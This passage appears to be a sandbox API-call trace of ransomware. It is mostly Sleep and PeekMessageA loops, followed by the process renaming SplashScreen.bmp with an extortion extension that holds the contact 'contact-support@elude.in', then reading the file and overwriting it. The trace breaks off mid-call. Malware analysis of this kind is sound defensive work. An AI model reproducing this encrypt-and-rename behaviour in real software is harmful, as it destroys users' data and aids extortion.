(dwMilliseconds=0x1) [0227.621] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0227.621] Sleep (dwMilliseconds=0x1) [0229.635] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0229.635] Sleep (dwMilliseconds=0x1) [0231.365] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0231.366] Sleep (dwMilliseconds=0x1) [0232.842] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0232.842] Sleep (dwMilliseconds=0x1) [0233.305] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0233.305] Sleep (dwMilliseconds=0x1) [0233.553] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0233.553] Sleep (dwMilliseconds=0x1) [0233.665] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0233.665] Sleep (dwMilliseconds=0x1) [0233.790] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0233.790] Sleep (dwMilliseconds=0x1) [0233.906] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0233.906] Sleep (dwMilliseconds=0x1) [0234.501] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0234.501] Sleep (dwMilliseconds=0x1) [0234.860] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0234.860] Sleep (dwMilliseconds=0x1) [0237.058] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0237.058] Sleep (dwMilliseconds=0x1) [0239.333] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0239.333] Sleep (dwMilliseconds=0x1) [0241.288] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0241.288] Sleep (dwMilliseconds=0x1) [0242.776] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0242.798] Sleep (dwMilliseconds=0x1) [0244.113] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0244.113] Sleep (dwMilliseconds=0x1) [0245.718] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0245.718] Sleep (dwMilliseconds=0x1) [0247.757] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0247.758] Sleep (dwMilliseconds=0x1) [0250.063] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0250.063] Sleep (dwMilliseconds=0x1) [0252.061] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0252.061] Sleep (dwMilliseconds=0x1) [0253.546] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0253.546] Sleep (dwMilliseconds=0x1) [0254.351] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0254.351] Sleep (dwMilliseconds=0x1) [0255.808] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0255.808] Sleep (dwMilliseconds=0x1) [0256.882] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0256.882] Sleep (dwMilliseconds=0x1) [0258.428] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0258.428] Sleep (dwMilliseconds=0x1) [0259.763] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0259.763] Sleep (dwMilliseconds=0x1) [0261.001] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0261.001] Sleep (dwMilliseconds=0x1) [0262.705] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0262.750] Sleep (dwMilliseconds=0x1) [0263.788] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0263.788] Sleep (dwMilliseconds=0x1) [0264.389] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0264.389] Sleep (dwMilliseconds=0x1) [0266.107] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0266.108] Sleep (dwMilliseconds=0x1) [0268.042] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0268.042] Sleep (dwMilliseconds=0x1) [0270.163] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0270.163] Sleep (dwMilliseconds=0x1) [0272.381] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0272.381] Sleep (dwMilliseconds=0x1) [0274.298] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0274.299] Sleep (dwMilliseconds=0x1) [0276.254] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0276.255] Sleep (dwMilliseconds=0x1) Thread: id = 2 os_tid = 0x13b0 Thread: id = 3 os_tid = 0x10e4 Thread: id = 4 os_tid = 0x111c Thread: id = 5 os_tid = 0x1138 Thread: id = 6 os_tid = 0x11d4 Thread: id = 7 os_tid = 0xa28 Thread: id = 8 os_tid = 0x7ac Thread: id = 9 os_tid = 0xd10 Thread: id = 10 os_tid = 0x96c Thread: id = 24 os_tid = 0x8d8 Thread: id = 28 os_tid = 0x730 Thread: id = 37 os_tid = 0xfd8 [0067.194] Sleep (dwMilliseconds=0x1) [0067.441] Sleep (dwMilliseconds=0x1) [0067.560] Sleep (dwMilliseconds=0x1) [0067.716] Sleep (dwMilliseconds=0x1) [0067.827] Sleep (dwMilliseconds=0x1) [0067.936] Sleep (dwMilliseconds=0x1) [0068.041] Sleep (dwMilliseconds=0x1) [0068.148] Sleep (dwMilliseconds=0x1) [0068.281] Sleep (dwMilliseconds=0x1) [0068.395] Sleep (dwMilliseconds=0x1) [0068.497] Sleep (dwMilliseconds=0x1) [0068.540] Sleep (dwMilliseconds=0x1) [0068.702] Sleep (dwMilliseconds=0x1) [0068.742] Sleep (dwMilliseconds=0x1) [0068.797] Sleep (dwMilliseconds=0x1) [0068.838] Sleep (dwMilliseconds=0x1) [0068.888] Sleep (dwMilliseconds=0x1) [0068.930] Sleep (dwMilliseconds=0x1) [0068.981] Sleep (dwMilliseconds=0x1) [0069.043] Sleep (dwMilliseconds=0x1) [0069.109] Sleep (dwMilliseconds=0x1) [0069.154] Sleep (dwMilliseconds=0x1) [0069.203] Sleep (dwMilliseconds=0x1) [0069.245] Sleep (dwMilliseconds=0x1) [0069.297] Sleep (dwMilliseconds=0x1) [0069.373] Sleep (dwMilliseconds=0x1) [0069.439] Sleep (dwMilliseconds=0x1) [0069.478] Sleep (dwMilliseconds=0x1) [0069.527] Sleep (dwMilliseconds=0x1) [0069.690] Sleep (dwMilliseconds=0x1) [0069.918] Sleep (dwMilliseconds=0x1) [0070.148] Sleep (dwMilliseconds=0x1) [0070.261] Sleep (dwMilliseconds=0x1) [0070.384] Sleep (dwMilliseconds=0x1) [0070.532] Sleep (dwMilliseconds=0x1) [0070.871] Sleep (dwMilliseconds=0x1) [0071.567] Sleep (dwMilliseconds=0x1) [0071.943] Sleep (dwMilliseconds=0x1) [0072.428] Sleep (dwMilliseconds=0x1) [0072.608] Sleep (dwMilliseconds=0x1) [0072.798] Sleep (dwMilliseconds=0x1) [0072.908] Sleep (dwMilliseconds=0x1) [0073.097] Sleep (dwMilliseconds=0x1) [0073.192] Sleep (dwMilliseconds=0x1) [0073.696] Sleep (dwMilliseconds=0x1) [0073.931] Sleep (dwMilliseconds=0x1) [0074.047] Sleep (dwMilliseconds=0x1) [0074.177] Sleep (dwMilliseconds=0x1) [0074.384] Sleep (dwMilliseconds=0x1) [0074.667] Sleep (dwMilliseconds=0x1) [0074.775] Sleep (dwMilliseconds=0x1) [0074.845] Sleep (dwMilliseconds=0x1) [0074.905] Sleep (dwMilliseconds=0x1) [0075.000] Sleep (dwMilliseconds=0x1) [0075.061] Sleep (dwMilliseconds=0x1) [0075.105] Sleep (dwMilliseconds=0x1) [0075.158] Sleep (dwMilliseconds=0x1) [0075.215] Sleep (dwMilliseconds=0x1) [0075.264] Sleep (dwMilliseconds=0x1) [0075.304] Sleep (dwMilliseconds=0x1) [0075.362] Sleep (dwMilliseconds=0x1) [0075.427] Sleep (dwMilliseconds=0x1) [0075.514] Sleep (dwMilliseconds=0x1) [0075.567] Sleep (dwMilliseconds=0x1) [0075.612] Sleep (dwMilliseconds=0x1) [0075.698] Sleep (dwMilliseconds=0x1) [0075.744] Sleep (dwMilliseconds=0x1) [0075.793] Sleep (dwMilliseconds=0x1) [0075.830] Sleep (dwMilliseconds=0x1) [0075.843] Sleep (dwMilliseconds=0x1) [0076.043] Sleep (dwMilliseconds=0x1) [0076.064] Sleep (dwMilliseconds=0x1) [0076.082] Sleep (dwMilliseconds=0x1) [0076.108] Sleep (dwMilliseconds=0x1) [0076.185] Sleep (dwMilliseconds=0x1) [0076.392] Sleep (dwMilliseconds=0x1) [0076.529] Sleep (dwMilliseconds=0x1) [0076.673] Sleep (dwMilliseconds=0x1) [0076.711] Sleep (dwMilliseconds=0x1) [0076.780] Sleep (dwMilliseconds=0x1) [0076.799] Sleep (dwMilliseconds=0x1) [0076.840] Sleep (dwMilliseconds=0x1) [0076.872] Sleep (dwMilliseconds=0x1) [0076.919] Sleep (dwMilliseconds=0x1) [0076.986] Sleep (dwMilliseconds=0x1) [0077.064] Sleep (dwMilliseconds=0x1) [0077.149] Sleep (dwMilliseconds=0x1) [0077.220] Sleep (dwMilliseconds=0x1) [0077.290] Sleep (dwMilliseconds=0x1) [0077.358] Sleep (dwMilliseconds=0x1) [0077.414] Sleep (dwMilliseconds=0x1) [0077.519] Sleep (dwMilliseconds=0x1) [0077.599] Sleep (dwMilliseconds=0x1) [0077.647] Sleep (dwMilliseconds=0x1) [0077.690] Sleep (dwMilliseconds=0x1) [0077.734] Sleep (dwMilliseconds=0x1) [0077.784] Sleep (dwMilliseconds=0x1) [0077.831] Sleep (dwMilliseconds=0x1) [0077.858] Sleep (dwMilliseconds=0x1) [0077.910] Sleep (dwMilliseconds=0x1) [0077.960] Sleep (dwMilliseconds=0x1) [0077.980] Sleep (dwMilliseconds=0x1) [0077.996] Sleep (dwMilliseconds=0x1) [0078.060] Sleep (dwMilliseconds=0x1) [0078.092] Sleep (dwMilliseconds=0x1) [0078.119] Sleep (dwMilliseconds=0x1) [0078.133] Sleep (dwMilliseconds=0x1) [0078.194] Sleep (dwMilliseconds=0x1) [0078.223] Sleep (dwMilliseconds=0x1) [0078.239] Sleep (dwMilliseconds=0x1) [0078.252] Sleep (dwMilliseconds=0x1) [0078.273] Sleep (dwMilliseconds=0x1) [0078.285] Sleep (dwMilliseconds=0x1) [0078.314] Sleep (dwMilliseconds=0x1) [0078.359] Sleep (dwMilliseconds=0x1) [0078.380] Sleep (dwMilliseconds=0x1) [0078.450] Sleep (dwMilliseconds=0x1) [0078.532] Sleep (dwMilliseconds=0x1) [0078.563] Sleep (dwMilliseconds=0x1) [0078.611] Sleep (dwMilliseconds=0x1) [0078.626] Sleep (dwMilliseconds=0x1) [0078.647] Sleep (dwMilliseconds=0x1) [0078.658] Sleep (dwMilliseconds=0x1) [0078.677] Sleep (dwMilliseconds=0x1) [0078.709] Sleep (dwMilliseconds=0x1) [0078.719] Sleep (dwMilliseconds=0x1) [0078.740] Sleep (dwMilliseconds=0x1) [0078.752] Sleep (dwMilliseconds=0x1) [0078.771] Sleep (dwMilliseconds=0x1) [0078.784] Sleep (dwMilliseconds=0x1) [0078.839] Sleep (dwMilliseconds=0x1) [0078.884] Sleep (dwMilliseconds=0x1) [0078.897] Sleep (dwMilliseconds=0x1) [0078.925] Sleep (dwMilliseconds=0x1) [0078.947] Sleep (dwMilliseconds=0x1) [0078.955] Sleep (dwMilliseconds=0x1) [0078.980] Sleep (dwMilliseconds=0x1) [0079.001] Sleep (dwMilliseconds=0x1) [0079.033] Sleep (dwMilliseconds=0x1) [0079.048] Sleep (dwMilliseconds=0x1) [0079.081] Sleep (dwMilliseconds=0x1) [0079.097] Sleep (dwMilliseconds=0x1) [0079.118] Sleep (dwMilliseconds=0x1) [0079.128] Sleep (dwMilliseconds=0x1) [0079.161] Sleep (dwMilliseconds=0x1) [0079.223] Sleep (dwMilliseconds=0x1) [0079.252] Sleep (dwMilliseconds=0x1) [0079.268] Sleep (dwMilliseconds=0x1) [0079.288] Sleep (dwMilliseconds=0x1) [0079.299] Sleep (dwMilliseconds=0x1) [0079.317] Sleep (dwMilliseconds=0x1) [0079.329] Sleep (dwMilliseconds=0x1) [0079.349] Sleep (dwMilliseconds=0x1) [0079.360] Sleep (dwMilliseconds=0x1) [0079.389] Sleep (dwMilliseconds=0x1) [0079.417] Sleep (dwMilliseconds=0x1) [0079.422] Sleep (dwMilliseconds=0x1) [0079.448] Sleep (dwMilliseconds=0x1) [0079.514] Sleep (dwMilliseconds=0x1) [0079.543] Sleep (dwMilliseconds=0x1) [0079.605] Sleep (dwMilliseconds=0x1) [0079.609] Sleep (dwMilliseconds=0x1) [0079.631] Sleep (dwMilliseconds=0x1) [0079.640] Sleep (dwMilliseconds=0x1) [0079.662] Sleep (dwMilliseconds=0x1) [0079.674] Sleep (dwMilliseconds=0x1) [0079.691] Sleep (dwMilliseconds=0x1) [0079.737] Sleep (dwMilliseconds=0x1) [0079.802] Sleep (dwMilliseconds=0x1) [0079.814] Sleep (dwMilliseconds=0x1) [0079.833] Sleep (dwMilliseconds=0x1) [0079.888] Sleep (dwMilliseconds=0x1) [0079.917] Sleep (dwMilliseconds=0x1) [0079.930] Sleep (dwMilliseconds=0x1) [0079.941] Sleep (dwMilliseconds=0x1) [0079.984] Sleep (dwMilliseconds=0x1) [0080.051] Sleep (dwMilliseconds=0x1) [0080.068] Sleep (dwMilliseconds=0x1) [0080.087] Sleep (dwMilliseconds=0x1) [0080.097] Sleep (dwMilliseconds=0x1) [0080.139] Sleep (dwMilliseconds=0x1) [0080.158] Sleep (dwMilliseconds=0x1) [0080.175] Sleep (dwMilliseconds=0x1) [0080.241] Sleep (dwMilliseconds=0x1) [0080.256] Sleep (dwMilliseconds=0x1) [0080.272] Sleep (dwMilliseconds=0x1) [0080.282] Sleep (dwMilliseconds=0x1) [0080.305] Sleep (dwMilliseconds=0x1) [0080.312] Sleep (dwMilliseconds=0x1) [0080.347] Sleep (dwMilliseconds=0x1) [0080.358] Sleep (dwMilliseconds=0x1) [0080.388] Sleep (dwMilliseconds=0x1) [0080.412] Sleep (dwMilliseconds=0x1) [0080.424] Sleep (dwMilliseconds=0x1) [0080.444] Sleep (dwMilliseconds=0x1) [0080.500] Sleep (dwMilliseconds=0x1) [0080.529] Sleep (dwMilliseconds=0x1) [0080.552] Sleep (dwMilliseconds=0x1) [0080.563] Sleep (dwMilliseconds=0x1) [0080.586] Sleep (dwMilliseconds=0x1) [0080.602] Sleep (dwMilliseconds=0x1) [0080.618] Sleep (dwMilliseconds=0x1) [0080.656] Sleep (dwMilliseconds=0x1) [0080.677] Sleep (dwMilliseconds=0x1) [0080.706] Sleep (dwMilliseconds=0x1) [0080.720] Sleep (dwMilliseconds=0x1) [0080.768] Sleep (dwMilliseconds=0x1) [0080.785] Sleep (dwMilliseconds=0x1) [0080.807] Sleep (dwMilliseconds=0x1) [0080.817] Sleep (dwMilliseconds=0x1) [0080.838] Sleep (dwMilliseconds=0x1) [0080.844] Sleep (dwMilliseconds=0x1) [0080.891] Sleep (dwMilliseconds=0x1) [0080.916] Sleep (dwMilliseconds=0x1) [0080.924] Sleep (dwMilliseconds=0x1) [0080.940] Sleep (dwMilliseconds=0x1) [0080.959] Sleep (dwMilliseconds=0x1) [0080.976] Sleep (dwMilliseconds=0x1) [0080.992] Sleep (dwMilliseconds=0x1) [0081.002] Sleep (dwMilliseconds=0x1) [0081.028] Sleep (dwMilliseconds=0x1) [0081.053] Sleep (dwMilliseconds=0x1) [0081.282] Sleep (dwMilliseconds=0x1) [0081.436] Sleep (dwMilliseconds=0x1) [0081.527] Sleep (dwMilliseconds=0x1) [0081.554] Sleep (dwMilliseconds=0x1) [0081.567] Sleep (dwMilliseconds=0x1) [0081.579] Sleep (dwMilliseconds=0x1) [0081.602] Sleep (dwMilliseconds=0x1) [0081.611] Sleep (dwMilliseconds=0x1) [0081.631] Sleep (dwMilliseconds=0x1) [0081.662] Sleep (dwMilliseconds=0x1) [0081.688] Sleep (dwMilliseconds=0x1) [0081.711] Sleep (dwMilliseconds=0x1) [0081.755] Sleep (dwMilliseconds=0x1) [0081.778] Sleep (dwMilliseconds=0x1) [0081.835] Sleep (dwMilliseconds=0x1) [0081.846] Sleep (dwMilliseconds=0x1) [0081.889] Sleep (dwMilliseconds=0x1) [0081.912] Sleep (dwMilliseconds=0x1) [0081.925] Sleep (dwMilliseconds=0x1) [0081.944] Sleep (dwMilliseconds=0x1) [0081.965] Sleep (dwMilliseconds=0x1) [0081.988] Sleep (dwMilliseconds=0x1) [0082.001] Sleep (dwMilliseconds=0x1) [0082.038] Sleep (dwMilliseconds=0x1) [0082.048] Sleep (dwMilliseconds=0x1) [0082.070] Sleep (dwMilliseconds=0x1) [0082.110] Sleep (dwMilliseconds=0x1) [0082.135] Sleep (dwMilliseconds=0x1) [0082.148] Sleep (dwMilliseconds=0x1) [0082.160] Sleep (dwMilliseconds=0x1) [0082.192] Sleep (dwMilliseconds=0x1) [0082.217] Sleep (dwMilliseconds=0x1) [0082.230] Sleep (dwMilliseconds=0x1) [0082.261] Sleep (dwMilliseconds=0x1) [0082.274] Sleep (dwMilliseconds=0x1) [0082.297] Sleep (dwMilliseconds=0x1) [0082.307] Sleep (dwMilliseconds=0x1) [0082.373] Sleep (dwMilliseconds=0x1) [0082.416] Sleep (dwMilliseconds=0x1) [0082.543] Sleep (dwMilliseconds=0x1) [0082.585] Sleep (dwMilliseconds=0x1) [0082.639] Sleep (dwMilliseconds=0x1) [0082.681] Sleep (dwMilliseconds=0x1) [0082.731] Sleep (dwMilliseconds=0x1) [0082.774] Sleep (dwMilliseconds=0x1) [0082.824] Sleep (dwMilliseconds=0x1) [0082.868] Sleep (dwMilliseconds=0x1) [0082.918] Sleep (dwMilliseconds=0x1) [0082.966] Sleep (dwMilliseconds=0x1) [0083.018] Sleep (dwMilliseconds=0x1) [0083.053] Sleep (dwMilliseconds=0x1) [0083.106] Sleep (dwMilliseconds=0x1) [0083.148] Sleep (dwMilliseconds=0x1) [0083.202] Sleep (dwMilliseconds=0x1) [0083.240] Sleep (dwMilliseconds=0x1) [0083.295] Sleep (dwMilliseconds=0x1) [0083.335] Sleep (dwMilliseconds=0x1) [0083.387] Sleep (dwMilliseconds=0x1) [0083.434] Sleep (dwMilliseconds=0x1) [0083.705] Sleep (dwMilliseconds=0x1) [0083.749] Sleep (dwMilliseconds=0x1) [0083.804] Sleep (dwMilliseconds=0x1) [0083.911] Sleep (dwMilliseconds=0x1) [0084.015] Sleep (dwMilliseconds=0x1) [0084.091] Sleep (dwMilliseconds=0x1) [0084.204] Sleep (dwMilliseconds=0x1) [0084.341] Sleep (dwMilliseconds=0x1) [0084.740] Sleep (dwMilliseconds=0x1) [0084.809] Sleep (dwMilliseconds=0x1) [0084.879] Sleep (dwMilliseconds=0x1) [0084.958] Sleep (dwMilliseconds=0x1) [0085.047] Sleep (dwMilliseconds=0x1) [0085.123] Sleep (dwMilliseconds=0x1) [0085.179] Sleep (dwMilliseconds=0x1) [0085.344] Sleep (dwMilliseconds=0x1) [0085.392] Sleep (dwMilliseconds=0x1) [0085.734] Sleep (dwMilliseconds=0x1) [0085.833] Sleep (dwMilliseconds=0x1) [0085.961] Sleep (dwMilliseconds=0x1) [0086.078] Sleep (dwMilliseconds=0x1) [0086.191] Sleep (dwMilliseconds=0x1) [0086.233] Sleep (dwMilliseconds=0x1) [0086.298] Sleep (dwMilliseconds=0x1) [0086.348] Sleep (dwMilliseconds=0x1) [0086.592] Sleep (dwMilliseconds=0x1) [0086.893] Sleep (dwMilliseconds=0x1) [0087.095] Sleep (dwMilliseconds=0x1) [0087.467] Sleep (dwMilliseconds=0x1) [0089.109] Sleep (dwMilliseconds=0x1) [0090.327] Sleep (dwMilliseconds=0x1) [0091.761] Sleep (dwMilliseconds=0x1) [0093.160] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\588bce7c90097ed212\\SplashScreen.bmp", len=0x26 | out: pbstr=0x2ffff7c*="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 1 [0093.160] GetProcessHeap () returned 0x630000 [0093.160] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x650658, Size=0xa4) returned 0x64fec8 [0093.160] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0093.183] CloseHandle (hObject=0x6d0) returned 1 [0093.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.183] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.184] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~1.FIR")) returned 0x6d5280 [0093.184] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0093.184] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0093.184] GetProcessHeap () returned 0x630000 [0093.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa081) returned 0x70e6188 [0093.185] GetProcessHeap () returned 0x630000 [0093.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa081) returned 0x70f0218 [0093.186] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.186] ReadFile (in: hFile=0x6d0, lpBuffer=0x70e6188, nNumberOfBytesToRead=0xa060, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e6188*, lpNumberOfBytesRead=0x2ffff0c*=0xa060, lpOverlapped=0x0) returned 1 [0100.414] GetProcessHeap () returned 0x630000 [0100.414] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0100.414] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.414] WriteFile (in: hFile=0x6d0, lpBuffer=0x70f0218*, nNumberOfBytesToWrite=0xa060, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f0218*, lpNumberOfBytesWritten=0x2ffff0c*=0xa060, lpOverlapped=0x0) returned 1 [0100.415] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.415] WriteFile (in: hFile=0x6d0, lpBuffer=0x70fa277*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x70fa277*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.415] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.415] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.415] CloseHandle (hObject=0x6d0) returned 1 [0100.417] GetProcessHeap () returned 0x630000 [0100.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f0218 | out: hHeap=0x630000) returned 1 [0100.417] GetProcessHeap () returned 0x630000 [0100.417] HeapFree 